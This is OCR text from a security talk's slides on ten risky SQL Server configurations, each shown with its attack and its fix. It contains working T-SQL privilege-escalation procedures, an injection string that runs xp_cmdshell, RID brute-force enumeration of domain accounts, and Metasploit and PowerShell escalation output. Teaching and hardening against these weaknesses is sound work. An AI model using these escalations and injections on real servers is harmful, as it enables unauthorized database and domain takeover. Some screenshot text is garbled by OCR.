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* Why security breaks

* Where security breaks

* SQL Server security basics
* Finding SQL Servers

* 10 deadly configurations
 What can be done

e Questions
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* NOT the right skill set
— Most dev-ops and IT admins aren’t DBAs
— Modern DBMS can be complicated

* NOT a high priority / requirement
— Functionality
— Availability
— Performance
— Security

* NOT enough time

netspr
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Where Security
BREAKS

o




...at points of integration and trust

e Access to external sources
— Other databases
— Other servers

— On the file system / shares
e Cached authentication |
* User impersonation [FAIL|
* Excessive privileges

e Explicit and implicit trusts

netspr

RISK COMPLIANCE SECURITY




SQL Server
Security BASICS
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What is SQL Server?

e SQL Server is software

 Each installation is called an “instance”
which runs as a set of Windows services

separate process, port, etc

 Services run with privileges of the Windows
service account

netspr
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Windows Operating System

SQL Server Instance 1 (Windows Service) sQL Server Instance 2 (Windows Service)

Database 1 Database 2

Table 1 Table 2
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Windows Server Level

flplel ozl

* Windows accounts and groups

SQL Server Level
e SQL Server logins and SQL Server roles

Database Level
 Database users and database roles

netspr
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Windows Server Level

e Used to log into SQL Server

SQL Server Level
e Used to log into SQL Server

Database Level
» Database users are mapped to a login/account
e Used to access databases and data

netspr
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Windows Operating System

SQL Server Instance 1 (Windows Service)

SQL Server login SQL Server login
myuserl Domain\myuser2

Database 1 ¢ w

Maps to database user Maps to database user
myuserl myuser2

v v WY

Table 2

Windows account

Domain\myuser2




Important Server Roles

e Sysadmin role = DBA
* Public role = Everyone with connect

Important Database Roles
e Database owner = owns the database

* Db_owner role = any action in the database

netspr
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TCP/UDP Port Scanning
* Pros: Finds non domain instances
e Cons: Can be slow

il Scan 1 Options ]
Scan Type Results

To 0 I s & Active (IP Range)

" Active (IP List)
" Stealth

* Metasploit

C:rosql -L

* Nessus
LUA~SQLEXFPRESS
LUA~data

* SQLping3
. 0SQL/SQLCMD |
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Service Principal Names (SPN)

* Pros: Fast and returns most SQL Servers on

the domain

e Cons: Will miss instances on non domain

systems

Tools

* setspn.exe
 adfind.exe

* Get-Spn.psm1

&N Administrator: Windows PowerShell Lo @ 3|
PS C:\> Get—-SPN —type service -search "MSSQLsvc*" -list yes A

Account Server Service

Administrator DB1 .demo.com MSSQLSvc
sgladmin DB1.demo.con MSSQLSvc

PS C:\>
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Logins with Sysadmin Privileges

Logins with IMPERSONATE Privileges
Database User Privileges

Procedures with SQL Injection

Public EXECUTE on Dangerous Procedures
Service Account Privileges

Domain User Privileges

Database Link Chaining and Excessive
Privileges

9. Weak and Default Passwords @
10. No Transport Encryption netsp
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Logins with
Sysadmin Privileges




What’s the issue?

* Applications connecting to SQL Server with
the “sa” login

* Applications connecting to SQL Server with
another login with the sysadmin role

netspr
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Why is it a problem?

e Full access to all databases on server
e Often full access to the Windows server

* Free tools available for taking over the server
— Metasploit mssql_payload module
— Metasploit mssqgl_payload_sqli module

netspr
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What are the attack requirements?

e SQL injection or a direct connection with
credentials to log into SQL Server

netspr
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What’s the fix?

* Don’t use the “sa” login for your application

* Don’t assigned sysadmin privileges

* Do assign only the privileges necessary for the
application to meet functional requirements

netspr
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Logins with
IMPERSONATE Privileges
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What’s the issue?

e SQL Server logins with IMPERSONATE
privileges
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Why is it a problem?

* Intended to decrease privileges

e Often used to increase privileges

* Allows on demand escalation with no
constraints

» Sometimes results in sysadmin privileges n6t5P©
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What are the attack requirements?

e SQL injection or a direct connection with
credentials to log into SQL Server

* Login has privs to impersonate another login

e For sysadmin, login must of have privs to
impersonate a sysadmin or additional

escalation path netsp@
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Find logins that can be impersonated

SQLQuery3.sql - VM...ster (MyUser1 (52 > [

EISELECT distinct b.name
FROM sys.server_permissions a
INMER JOIN sys.server_principals b

ON a.grantor principal id = b.principal id
WHERE|a.permission_name = 'IMPERSONATE'
100 % = <
[ Results L::Q Messages
name
1 { =3
2 WhUser?
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Impersonate logins

SQLQueryb.sgl - 10.2.9.101.master (MyUser1 (55))* - Microsoft SQL Server Management Studio

Edit View 50OLEnlight Cuery Project Debug Tools Window Help

T | |master

Pl - S e | A NewQuey (BRI 4 B9 - -5 p
v|| ¥ Execute b Debug ¥ o 35 = §||3"’lﬁ|§ﬁc§‘j|

Connect~ 3 3 m T [£] 5

= L_j 10.2.9.101 (SQL Server 9.0.40533 - MyUser1)
[ Databases

[ Server Objects
[ Replication
[ Management

S50OLCQueryb.sgl - 10...ster (MyUser? (33))* =

=/ M Add-ins W SOL Search

4l

-- Verify you are still running as the myuserl login
SELECT 5Y¥5TEM_USER

SELECT IS_SRVROLEMEMBER( 'sysadmin')

-- Impersonate the sa login
EXECUTE A5 LOGIN =

-- Verify you are now running as the sa login
SELECT SY¥STEM_USER

SELECT IS_SRVROLEMEMBER( 'sysadmin')

100% =

[ Resuts |_1§ Messages

(Mo column name)

(No column name)

(Mo column name)

(No column name)

@ Query executed successfully.

10.2.9.101 (9.00SP3) 00:00:00 | 4 rows
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Impersonate logins

i SQLQueryb.sgl - 10.2.9.101.master (MyUser1 (55))* - Microsoft SQL Server Management Studio = B

File Edit VYiew 5COLEnlight Cuery Project Debug Tools Window Help

P - S @ A NewQuey iRl 4 @B (90 -8-5(K]| b =
;‘J_#MHmaster v|| ¥ Execute b Debug ¥ o 35 = EHS’“M@'@@‘:”; "_lli-_ : =/ M Add-ins W SOL Search _

Obiec plre o saLuenisa 0. e o) I

Connect~ 3 3 m 7 [&] .ﬁ -- Verify you are still running as the myuserl login

= SELECT SYSTEM USER
-1 _ _
B M= (2L Soar A - Lipilaanl SELECT IS _SRVROLEMEMBER( 'sysadmin')
[ Databases -

3 Security -- Imperscnate the sa login
[0 Server Objects EXECUTE A5 LOGIN = 'sa’

[ Replication

[ Management -- Verify you are now running as the sa login
SELECT SY¥STEM_USER

SELECT IS_SRVROLEMEMBER( 'sysadmin')

1W00% -
[ Resuts |_1§ Messages

o column name

...Wuéeﬂ..
(No column name)
1 0
(No column name)
1
(No column name)
1
@ Query executed successfully. 10.2.9.101 (9.05P3) | MyUserl (55) | master 00:00:00 | 4 rows

Ln 11 Col1 Ch1 INS

2
£
#
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Impersonate logins

i SQLQueryb.sgl - 10.2.9.101.master (MyUser1 (55))* - Microsoft SQL Server Management Studio
File Edit VYiew 5COLEnlight Cuery Project Debug Tools Window Help

P - S @ A NewQuey iRl 4 @B (90 -8-5(K]| b
[t ] 0 Becute b Debug B v 33 3 |37 [@a54) | = 2 =

Connect~ 3 3 m 7 [&] .ﬁ -- Verify you are still running as the myuserl login

= SELECT SYSTEM USER
-1 _ _
B M= (2L Soar A - Lipilaanl SELECT IS_SRVROLEMEMBER( 'sysadmin')
[ Databases B

3 Security -- Imperscnate the sa login
[0 Server Objects EXECUTE A5 LOGIN = 'sa’

[ Replication
[ Management -- Verify you are now running as the sa login
SELECT SY¥STEM_USER

SELECT IS_SRVROLEMEMBER( 'sysadmin')

1W00% -
[ Resuts |_1§ Messages

(Mo column name)

1
(No column name)

1
(Mo column name)
sa
(No column name)

1 1

@ Query executed successfully. 10.2.9.101 (9.05P3) | MyUserl (35) | master

Ln 11 Col1 Ch1

=

00:00:00 | 4 rows

INS

=/ M Add-ins W SOL Search _

Obiec plre o saLuenisal - 0. e o)
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+
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New Tools Released
* PowerShell

— Invoke-SqlServer-Escalate-ExecuteAs.psml
* Metasploit

— mssql_escalate_execute _as.rb
— mssql_escalate _execute _as_sqli.rb

netspr
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PowerShell

Administrator: Windows PowerShe

S C:\> Invoke-SqlServer-Escalate-ExecuteAs -SqglServerInstance 10.2.
Attempting to authenticate to 10.2.9.101 with SQL login myuserl...
Connected.

Enumerating a Tist of users that can be impersonated...

Found 3 users that can be impersonated:

- sa

- MyUser3

- MyUser?2

Checking if any of them are sysadmins...

- sa - sysadmin!

- MyUser3 - NOT sysadmin

- MyUser2 - NOT sysadmin

Attempting to add myuserl to the sysadmin role via impersonation...
Verifying that myuserl was added to the sysadmin role...

success - myuserl is now a sysadmin!

Al1T Done.

S C:\»>
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Metasploit
msf auxiliary(

9.101:80 Grabbing the .ab user name...

.101:80 Database

L101:80 Checking if Myl=e already a =sysadmin...

L101:80 MyUzerl i=s HOT a swsadmin, let's Lry to escalate privilege
L101:80 Enumerating a list of users that can be impersonated...
L101:80 3 users can be inmpersonated:

L101:80 MyU=zer?

L101:80 HMyUzer3

L101:80 za

L

LLy

1
1
10.2.
1
1

LY LED

LLy

10.2.
10.2.
10.2.
10.2.
10.2.
10.2.
10.2.

LLy

[N B W T e O N o

L101:80 Checking if any of them are sysadmins...
L101:80 Hwﬁq"? : HO sysadmin

[N ]

L101:80 IIwTT ! sysadmin
10.2.9.101:80 2a 1is=s !

10.2.9.101:80 tempti 0 impersonate Sa...
10.2.9.101:80 - Succ ! now syzadmin!
Buxiliary module execution

-

[N ]




Metasploit Pro Console -

8 v & " i

msf auxiliary(mssql escalate execute as sqli) > [] "

Ready 2699
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What’s the fix?

* Don’t use the IMPERSONATE privilege to
access external resources

* Do consider using signed stored procedures as
an alternative

netspr
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Database Users with
Excess Privileges
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What’s the issue?

* Application logins used to connect to SQL
Server are mapped to database users that can
create stored procedures

 Example = db_owner database role

netspr
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Why is it a problem?

e Database users can create stored procedures
that EXECUTE AS OWNER

e Sysadmins own a lot of application databases

 So...database users can execute queries as
sysadmins

netspr
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What are the attack requirements?

e SQL injection or a direct connection with
credentials to log into SQL Server

* To escalate to sysadmin
— Database user can create procedures
— Sysadmin owns the database
— Database is flagged as trustworthy

netspr
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Db_owner Example

USE MyAppDb

GO
CREATE PROCEDURE sp escalate me

WITH EXECUTE AS OWNER

AS
EXEC sp_addsrvrolemember

'MyAppUser ', 'sysadmin’
GO
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Db_owner Example

USE MyAppDb

GO
CREATE PROCEDURE sp escalat=—==

SYSADMIN
WITH EXECUTE AS OWNER- s the

AS OWNER

EXEC sp_addsrvrolemember
'MyAppUser ', 'sysadmin’
GO
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New Tools Released
* PowerShell

— Invoke-SqlServer-Escalate-Dbowner.psm1
* Metasploit

— mssql_escalate_dbowner.rb
— mssql_escalate_dbowner_sqli.rb

netspr
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PowerShell
%} Windows PowerShell - O

C \temp import-module .\Invoke-SqlServerDbElevateDbOwner.psml
:\temp> Invoke-5qlServerDbElevateDbOwner —aq1user myappuser -5SqlPass MyPassword! -SqlServerInstance 10.2.2.184
1q to Connect to 10.2.2.184 as myappuser.

: dat 1L, =n1r
Lheck1nq 1f myappuser the has d owner role in any of them..

14 in 1 of the databases
the sysadmin role via the MyAppDb database. .
SL dmin.
ATT done
:\temp>




Metasploit

root@PCME: ~

File Edit View Search Terminal Help

=3
i
—h

auxiliary( ] = run

*

Attempting to connect to the database server at 172.20.10.2 as dbl owner...
Connected.
Checking if dbl owner has the sysadmin role
You're NOT a sysadmin, let's try to change that.
Checking for trusted databases owned by sysadmins...
database(s) were found:

= ¥ ¥ <4

P e e p—

* ¥ ¥ <4

el bl bl — ] ] b — —]

[+] db owner on testdb found!

[*] :

[+] Congrats, dbl owner is now a sysadmin!.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed




- |

msf auxiliary(mssql escalate dbowner) > []
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What’s the fix?

* Don’t provide database users with privileges
to create procedures

* Don’t allow sysadmins to own application
databases

* Don’t flag databases as trustworthy

(when possible) netSP©
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Procedures with
SQL Injection
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What’s the issue?

 Stored procedures using dynamic SQL
insecurely

 Stored procedures configured to run as a login
with excessive privileges

netspr
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Why is it a problem?
* Can be vulnerable to SQL injection
e Can provide unauthorized data access

* Can be used to escalate privileges in some
cases

netspr
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What are the attack requirements?

e SQL injection or a direct connection with
credentials to log into SQL Server

* Dynamic SQL is used in the procedure

* Concatenating strings

netspr
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What are the attack requirements?

* Privilege escalation requirements

— WITH EXECUTE AS OWNER
- Database does have to be marked as trusted

— Signed with a certificate login

« Database does NOT have to be marked as
trusted

netspr
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Find Signed Stored Procedures with Dynamic SQL

[r¥3 SQLQueryl.sgl - 172.16.54.22%standard.master (sa (52))* - Microsoft SQL Server Management Studio = =
File Edit View SCLEnlight Query Project Debug Tools Window Help
Pl (S @ | A NewQuey [yiBel T 8 a9 -0 -85 5 b | [ [#(dbron; -5l 2

) | [master || ¥ Execute P Debug ® o 335 = |37 uE | @355 EY| = AL _|i Bl Add-ins Y SQL Search

Object Explore Ee————e-—_——-—,
Connect = _‘qj Eg " T Eg when 'CPVA' then ak.name +

= END as CERT_NAME, -
Lﬁ 172.16.54.22% standard (SOL Server 11.0.3153 - =a) sp.name as CERT_LOGIN

sp.sid as CERT_SID
FROM sys.crypt_properties cp
JOIN sys.objects o ON cp.major_id = o.cbject_id
LEFT JOIN sys.certificates cer ON cp.thumbprint = cer.thumbprint
LEFT JOIN sys.asymmetric_keys ak ON cp.thumbprint = ak.thumbprint
LEFT JOIN INFORMATION_SCHEMA.ROUTINES spr on spr.ROUTIME_NAME = o.name
LEFT JOIN sys.server_principals sp on sp.sid = cer.sid
WHERE o.type desc = 'SQL_STORED_PROCEDURE'AND
(ROUTINE_DEFINITION like '¥sp_executesql®%' OR
ROUTIMNE_DEFINITION like '¥sp sqlexec®' OR
ROUTIN INITION like 'Hexec @%' OR
ROUTIN INITION like '¥exec (%' OR
ROUTI INITION like 'Fexec(%' OR
ROUTIN INITION like '®execute @' OR
ROUTIN INITION like '¥execute (%' OR

ROUTI INITION like '%execute(%' OR
ROUTI INITION 1like "8"'''''+%' OR
ROUTINE_DEFINITION like "%'''"'' 4%'")

ORDER B; CERT_NAME , ROUTINE_NAME

100% =~ < >
3 Results ij Messages
DB_NAME  SCHEMA_MAME  SP_NAME SP_CODE CERT_NAME CERT_LOGIN CERT_SID
1 master dbo - Create procedure CREATE PROCEDURE sp_sql...  sp_sqgliZ_cert sp_sqliZ_login (01060000
< >
@ Query executed successfully. 172.16.54.22%standard (11.... | sa (52) = master | 00:00:00 1 rows

Ln1 Col 3 INS
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Review Code

CREATE PROCEDURE sp sqli2
@DbName varchar(max)

AS

BEGIN

Declare @query as varchar(max)
SET @query = 'SELECT name FROM
master..sysdatabases where name
like ''%'+ @DbName+'%'' OR
name=""tempdb'"'";

EXECUTE (@query)

END

GO
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Review Code

CREATE PROCEDURE sp sqli2
@DbName varchar(max)

AS

BEGIN

Declare @query as varchar(max)
SET @query = 'SELECT name FROM

master..sysdatabases where na

like|''%"'+ @DbName+'°o"q PURE EVIL
name=""tempdb'"'";

EXECUTE (@query)
END

GO
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Inject Query to Execute OS Commands

EXEC MASTER.dbo.sp sqli2
‘master’ ';EXEC master..xp_cmdshell

‘'whoami''--";
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Inject Query to Execute OS Commands

EXEC MASTER.dbo.sp sqli2
‘master’|' ; EXEC master..xp_cmdshell

1

INJECTION

‘'whoami''--|";
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Review Code

CREATE PROCEDURE sp sqli2
@DbName varchar(max)

AS

BEGIN

Declare @query as varchar(max)
SET @query = 'SELECT name FROM
master..sysdatabases where name

like ''%master' ; EXEC
master..xp_cmdshell '‘whoami’"'-
-%"'" OR name='"tempdb''";

EXECUTE (@query)

END
GO




HANVIanUaIPATEaCK

Inject Query to Execute OS Commands

i SQLQuery5.sgl - 172.16.54.22%Nstandard. master (myuser (52))* - Microsoft SQOL Server Management Studio  — =

File Edit View SOL Enlight CQuery Project Debug Tools Window Help

P (Sl | A NewQuey [y ff¢fh | & a9 -0 -&3-3 | » | =
5 4 [t || ¥ Eecte b Debug = v 33 9 |37 QA QIS 2| E |4 L BAds

Object Explorer L8N SOLQuery5.sgl - 172..aster (myuser (32))"
Connect~ 3 3d m "7 [#] £ -- Attempt to execute xp_cmdshell inside the sp_sqli2
g LB 172.16.54.220\standard (SOL Server 11.0.3153 - myus EXEC MASTER.dbo.sp sgli2 ‘master'';EXEC master..wp_cmdshell '‘whoami''--

[ Databases

[ Security

[ Server Objects

[ Replication 100% = <

[ AlwaysOn High Availability 7 Resutts Li‘i Messages
[ Management

1 Integration Services Catalogs

@Query executed successf.. | 172.16.54.22%standard (11.... | myuser (52} = master | 00:00:00 | 3 rows
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New Tools Released

* PowerShell
— Get-SqlServer-Escalate-SpSource.psm1

netspr
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Export Stored Procedures

Windows PowerShell ISE = B
File Edit View Tools Debug Add-ons Help
Ll e n Y B » L & = | I & B =

Script (¥

C:\temp> Get-sSqlServer-Escalate-SpSource -SQLServerInstance 172.16.54.229\standard -SqlUser sa -SqlPass MyPassword!
*] Attempting to Connect to 172.16.54.229\standard as sa...
Connected.
Enumerating accessible databases...
1 accessible databases found.
searching for custom stored procedures...

- Found 6 in master
6 custom stored procedures found across 1 databases.
Exporting source code to .\sp_source_output...

- Exporting from master
A1l done, results can be found in .\sp_source_output\

D L L e e e

PS C:\temp>

Completed Ln13 Cel 13 160%
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View Output

= Windows PowerShell ISE = B
File Edit View Tools Debug Add-ons Help
L1 m o ﬂ }* 1 '; = [ 1] ] 2h > =
Script (>

PS C:\temp\sp_source_output> 1s
Directory: C:\temp\sp_source_output
Mode LastwriteTime Length Name

1/4/2015 11:24 PM exported_sp_tsql_files
1/4/2015 11:24 PM 1643 exported_stored_procedures_source.csv

PS C:\temp\sp_source_output>

Completed Ln 14 Col 30 160%
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What'’s the fix?
* Do use parameterized queries

* Don’t concatenate strings in evil ways

e Don’t use EXECUTE AS OWNER to access
external resources

* Don’t flag databases are trustworthy n6t5P©
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What's the fix?

* Do consider using signed procedures

1. Create certificate
2. Create login from certificate
3.

Only assign required privileges to the
certificate login

4. Sign procedures with certificate to provide
access to required local and external
resources

netspr
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What’s the fix?

No EXECUTE AS OWNER

-- Create procedure with sqgli fix
CREATE PROCEDURE sp sqli fix

@DbName varchar(max) ;4;221”’/'
AS

BEGIN

SELECT name FROM

master..sysdatabases WHERE name =
"tempdb’ OR name = @DbName; No concatenating

END strings
GO

netspr
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Public EXECUTE on
Dangerous Procedures




Ll
Ll0s
.

XECULEI 0N DaREEOUSTROCECUES

l_ﬂ

What’s the issue?

* Dangerous stored procedures and functions
are available to the public server role by
default

netspr
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Why is it a problem?

e Remember, public = all logins

* Impact varies depending on procedure or
function

netspr
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Why is it a problem?

* Xp_regread - Read registry as service account

* Xp_dirtree - Capture/crack service account
NetNTLMv2 password hashes (35 billion a sec)

* SUSER_NAME - Enumerate SQL Server logins

e SUSER_SNAME - Enumerate domain users HEtSP©
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What are the attack requirements?

e SQL injection or a direct connection with
credentials to log into SQL Server

netspr
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SUSER_SNAME Example: Get domain

SQLQuery2.sgl - 10.2.9.101.master (MyPublicUser (52))* - Microsoft SQL Server Management Studio = B
File

Edit View SOLEnlight Query Project Debug Tools Window Help
Pl S [ A NewQuey (iR | % @9 - -S-5 g

80030 [rmoster | ¥ Becute b Debug B v 33 3 J[ 37 [§16540] = 2 | = (AL o B Addins
Obyject Explorer

| % 2

SQLQuery2.sql - 10..(MyPublicUser (52)) X
Connect~ 3 3l m T 7] .5 SELECT DEFAULT_DOMAIN() as mydomain
= [:j. 10.2.9.101 (5QL Server 9.0.4053 - MyPublicUser)

3 Databases

[ Security
[ Server Objects

[ Replication
[ Management

100% -

Results | [y Messages

Domain of SQL Server mydonein_|

1 DEMO

@Quer_v executed successf.. | 10.2.9.101 (9.0 5P3) | MyPublicUser (32) | master | 00:00:00 1 rows
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SUSER_SNAME Example: Get Sample RID with SUSER_SID

iz sqQlQueryl.sgl - 10.2.9.101.master (MyPublicUser (52))* - Microsoft SOL Server Management Studio - ©
File Edit Wiew SOL Enlight Cuery Project Debug Tools Window Help
Pl S el | NewQuey iR PR G| 4 am|9 -0 S5 r S

L g | master o | ¥ Execute b Debug = o 30 = o | JT [ gRgNEN| = 2 [EE(A L
Object Explorer M SOLCueryl.sql - 10..(MyPublicUser (52))* X -
Connect~ 3 3d m 7 [&] 5§ SELECT SUSER_SID('DEMO\Domain Admins') e

= L:_‘B 10.2.9.101 (SOL Server 9.0.4053 - MyPublicUser)
1 Databases
3 Security
3 Server Objects
1 Replication
3 Management

100 % ~ <
[ Results | [ Messages

FUII RID Of Mo column name)
. . (b0 1050000000000051 50000009CC 300 D4 79441 EDEE31027D 000020000
Domain Admins group

@Quer_v... 10.2.9.107 (9.0 5P3) | MyPublicUser (52) | master | 00:00:00 | 1 rows

Ready Ln1 Col1 INS
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SUSER_SNAME Example: Extract Domain SID

Grab the first 48 Bytes of the full RID

RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0
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SUSER_SNAME Example: Create new full RID

1. Start with number, 500

2. Convert to hex, F401

3. Pad with 0 to 8 bytes, F4010000

4. Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0
RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
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SUSER_SNAME Example: Enumerate Domain Account

e SQLQueryl.sgl - 10.2.9.101.master (MyPublicUser (51))* - Microsoft SQOL Server Management Studio = B

File Edit Wiew S50LEnlight Query Project Debug Teols Window Help

P (S @ S NewQuery [yl G| # 2@ |9 -0 -S-5 (& | @ =

P 42 || master */| 7 Execute b Debug W o I3 = J|T7ue|gRE0EY| = 2 | == | AL _ | BB Add-ins ¥ SOL Search _

Object Explorer LR S0LQueryl.sgl - 10, (MyPublicUser (31))* X
Caonnect = _1# _gg -] 147 E £ SELECT SUSER_S”.-‘J-_'-'EIZ@KG135W5159’8’8’@’3’99({3@[)[)4?94—41EDEB31@'2?DBF‘-'I-@].B’B’B’BT. %

= L:j 10.2.9.101 (S0OL Server 9.0.4053 - MyPublicUser)
1 Databases
[ Security
3 Server Objects
[_J Replication
[ Management

100% -
[ Results ng Messages

Enumerated domain (No column name)
user

@ Query executed successfully. 10.2.9.101 (9.0 5P3) | MyPublicUser (31) | master | 00:00:00 | 1 rows

Col 80
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SUSER_SNAME Example: Enumerate All Domain Accounts,
Groups, and Computers

1. Increment number
2. Repeat 10,000 or more times
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SUSER_SNAME Example: Network Takeover

1. Dictionary attack
2. Escalate privileges locally
3. Escalate privileges on the domain
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New Tools Released

* PowerShell
— Get-SqlServer-Enum-SqglLogins.psm1
— Get-SqlServer-Enum-WinAccounts.psm1

* Metasploit
—mssgl_enum_sql_logins.rb
—mssgl_enum_domain_accounts.rb

—mssql_enum_domain_accounts_sqli.rb

\ | .
, T‘-\ “"v g o
Y

I g netSP©
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File Edit View Tools Debug Add-ons Help
Iy d - = Bl O O -

Script (¥

S C:\> Get-sSqlServer-Enum-WinAccounts -SqlServerInstance 10.2.9.101 -sqlUser mypublicuser -sqlPass MyPassword!
Attempting to authenticate to 10.2.9.101 as the login mypublicuser...
Connected.
Enumerating domain...
Domain found: DEMO
Enumerating domain SID...
Domain SID found: 0105000000000005150000009CcCc30DD479441EDEB31027D0
Brute forcing 10000 RIDs...

DEMO\Administrator

DEMO\Guest

DEMO\krbtgt

DEMO\Domain Guests

DEMO\Domain Computers

DEMO\Domain Controllers

DEMO\Cert Publishers

DEMO\Schema Admins

DEMO\Enterprise Admins

DEMO\Group Policy Creator Owners

DEMO\RAS and IAS Servers

DEMO\Domain Computers

DEMO\He lpServicesGroup

DEMO\SUPPORT_388945a0

DEMO\TelnetClients

DEMO\ASPNET

DEMO\ADS §

DEMO\Domain Controllers

DEMO\DnsAdmins

DEMO\DnsUpdateProxy

DEMO\LVAS
NnEMN\ LvAS

P
L
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
:

2
2
ae
n
n
ae
n
n
ae
n
"
"

e e e e e e e e e e e e L L L L L L L L e e e e e e

Running script / selection. Press Ctrl+Break to stop. Ln55 Col 1 160%



Terminal - root@laptop: /home/assess/Desktop

File Edit View Terminal Tabs Help
msf auxiliary(mssql_enum_windows_domain_accounts_sqli) > run
[*] 10.2.9.101:80 - Grabbing the server and domain name. ..
10.2.9.101:80 - Server name: LVA
10.2.9.101:80 - Domain name: DEMO
[*] 10.2.9.101:80 - Grabbing the SID for the domain...
10.2.9.101:80 - Domain sid: 0105000000000005150000009CC30DD479441EDEB31027D0
[*] 10.2.9.101:80 - Brute forcing 1000 RIDs through the SQL Server, be patient...
[*] 10.2.9.101:80 - DEMO\administrator
[*] 10.2.9.101:80 - DEMO\Guest
[*] 10.2.9.101:80 - DEMO\krbtgt
[*] 10.2.9.101:80 - DEMO\Domain Admins
[*] 10.2.9.101:80 - DEMO\Domain Users
[*] 10.2.9.101:80 - DEMO\Domain Guests
[*] 10.2.9.101:80 - DEMO\Domain Computers
[*] 10.2.9.101:80 - DEMO\Domain Controllers
[*] 10.2.9.101:80 - DEMO\Cert Publishers
[*] 10.2.9.101:80 - DEMO\Schema Admins
[*] 10.2.9.101:80 - DEMO\Enterprise Admins
[*] 10.2.9.101:80 - DEMO\Group Policy Creator Owners
[*] 10.2.9.101:80 - DEMO\RAS and IAS Servers
[*] 10.2.9.101:80 - DEMO\HelpServicesGroup
10.2.9.101:80 - 14 user accounts, groups, and computer accounts were found.
[*] Query results have been saved to: /root/.msf4/loot/20141125095848_default_10.2.9.101_
windows_domain_a 845435.txt
[*] Auxiliary module execution completed
msf auxiliary(mssql_enum_windows_domain_accounts_sqli) > |}




msf auxiliary(mssql enum domain_ accounts sqli) > []
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What’s the fix?

* Do deny execute privileges on dangerous
stored procedures and functions

* Do use one of the many hardening guides
available online or provided by Microsoft and

others

netspr
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What’s the issue?

e SQL Server service (Windows) accounts
configured with local or domain admin
privileges

 The same SQL Server service (Windows)
account is often used to run multiple
unrelated servers or “shared”

netspr
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Why is it a problem?

* Shared SQL Server service accounts have
inherit trust relationships, because the service
account has sysadmin privileges

netspr
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Why is it a problem?

e Sysadmins can impersonate the SQL Server
service account

— Xp_cmdshell

— agent options like cmdexec, PowerShell, and
vbscript

— Custom stored procedure

netspr
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Why is it a problem?

* Oh yeah, don’t forget Public logins can steal
service account password hashes

netspr
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What are the attack requirements?

e SQL injection or a direct connection with
credentials to log into SQL Server

 Service account is configured with local or
domain admins privileges

* xp_cmdshell, xp_dirtree, or xp_fileexists

procedure can be used netsp©
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File Edit View 50L Enlight

|

K Execuic

SQLQuery2.sql - 127.0.0.NSQLEXPRESS. master (sa (52))* - Microsoft SQL Server Management Studio
Project Debug Tools Window Help

P 1t (S e @ | Sl NewQuery [y ofy pfy fa| # -2 &9 -0 - S5 | b

Pay 1‘_1!j| rnaster
Object Explorer

Connect = ﬁj ﬁ;g BT E.—_-Z

|fExecute jp Debug B \./2,3 = _E||a|

-+
A0 L

= I > W SOLQuery2.sql - 127..55.master (sa (52))* ¢

an - _ i

: Running OS

2 | ==

14
Ay

EXEC xp_cmdshell 'whoami’

= I_B 127.0.0.1NSQLEXPRESS (S0L Server 11.0.2100 - sa)

3 Databases
[ Security

[ Server Objects
[ Replication
[ Management

EXEC xp cmdshell 'net user Husernamei'

commands as

100% -

Results |:_3 Messages
output
13 Usermay change password  Yes
14 MNULL
15 Workstations allowed Al
16 Logon script
17 User profile
18 Home directory

19 Lastlogon 1/22/25 11727 PM

Service account
is a local
administrator

20 MULL
21 Logon hours allowed All
MULL

service account

iLocaI Group Memberships  “Administrators

*Users

Global Group memberships  *None
The command completed successfully.

MULL

25
26
27

MNULL

@ Query executed suc...

127.0.0.1\SQLEXPRESS (11.0.

W

za (32)  master 00:00:00 27 rows
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Captain Evil



File v Virtual Machine v Help v

SQL Server (MSSQLSERYER) Prop

Ble Acion Yew Help General LogOn IRecovery] Dependencies |

BHRERR 200E » e I »
| Log on as:

%% Services (Local) %, Services (Local) O LcalSysem oo
o : 3

SQL Server (MSSQLSERVER)
' This account: I-\dbSEWiCE Browse...

Password: |l..............

Eonﬁ,m password: ].o.o..o.o..-.o.

You can enable or disable this service for the hardware profiles listed below:

Hardware Profile Service
Profile 1 Enabled

C:\>ipconfig — I
atile Disable

Windows IP Configuration

Ethernet adapter L 1 Ar G
hernet adapter Loca rea Conne ,TI Cancel I

Connection—specific DNS Suffix

IP Address. . . . . . c : - 192.168.74.161
Subnet Mask . . . . . : . : 255.255.255.8
Default Gateway . . . B B . 192.168.74.1

8 2 O 2:40Pm

distart| | @ @ 4 Services | & c:iwmpowstsystemaz... || @ http:/localhost emp...




WICENAGCCOUNCPRIVIIESES

Bun

Q)]

V2

(2
0

What is the fix?

* Non-clustered servers
— Don’t run services as LocalSystem

— Don’t use local or domain accounts with local
administrator privileges

— Do use virtual service accounts
« Like a sandboxed NetworkService account

netspr
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What is the fix?

e Clustered servers

— Do use domain accounts configured with least
privilege

— Don’t use the same service account across
servers that house unrelated applications

netspr
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Excessive Privileges
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What’s the issue?

e SQL Server Express installed on a domain
system gives ALL domain accounts CONNECT
privileges (through privilege inheritance)

— It can then carry over during upgrades

e Database administrators often provide all
domain accounts with database access

netspr
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Windows Operating System

SQL Server Express

BUILTIN\Users

NT AUTHORITY\Authenticated
Database 1 Users

Table 2 Table 2

Domain Users

(EVERYONE)
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Why is that a problem?

e All domain accounts have unauthorized access
to database servers

* During network penetration tests it often
leads to privilege escalation paths that end in
Domain Admin

netspr
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What are the attack requirements?
A domain account

* List of SQL Servers
— SPNs can be dumped from Active Directory
No scanning required ©

netspr

RISK COMPLIANCE SECURITY



HyAVIa Rt VA

Domain User
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ACK:

Get SQL Servers
ERE'S

Verify CONNECT
privileges
(Public role)

Take over
domain, world,
etc

xp_dirtree to
capture/crack
Sevice account
password hash

Use service
account to login

as a sysadmin

Take over OS
via xp_cmdshell
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New Tools Released

* PowerShell
— Get-SqlServer-Escalate-CheckAccess.psm1

Other Tools
* Metasploit mssql_sqgl module

netspr
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PS C:\ Get-SqlServer-Escalate-CheckAccess -ShowSum | export-csv c:\temp\sql-server-excessive-privs.csv
[*]
[*] Start Time: 04/01/2014 10:00:00

[*] Domain: mydomain.com

[*] DC: dcl.mydomain.com

[*] Getting list of SQL Server instances from DC as mydomainmyuser...

[*] 5 SQL Server instances found in LDAP.

[*] Attempting to login into 5 SQL Server instances as mydomainmyuser...
[*]
[-] Failed - serverl.mydomain.com is not responding to pings

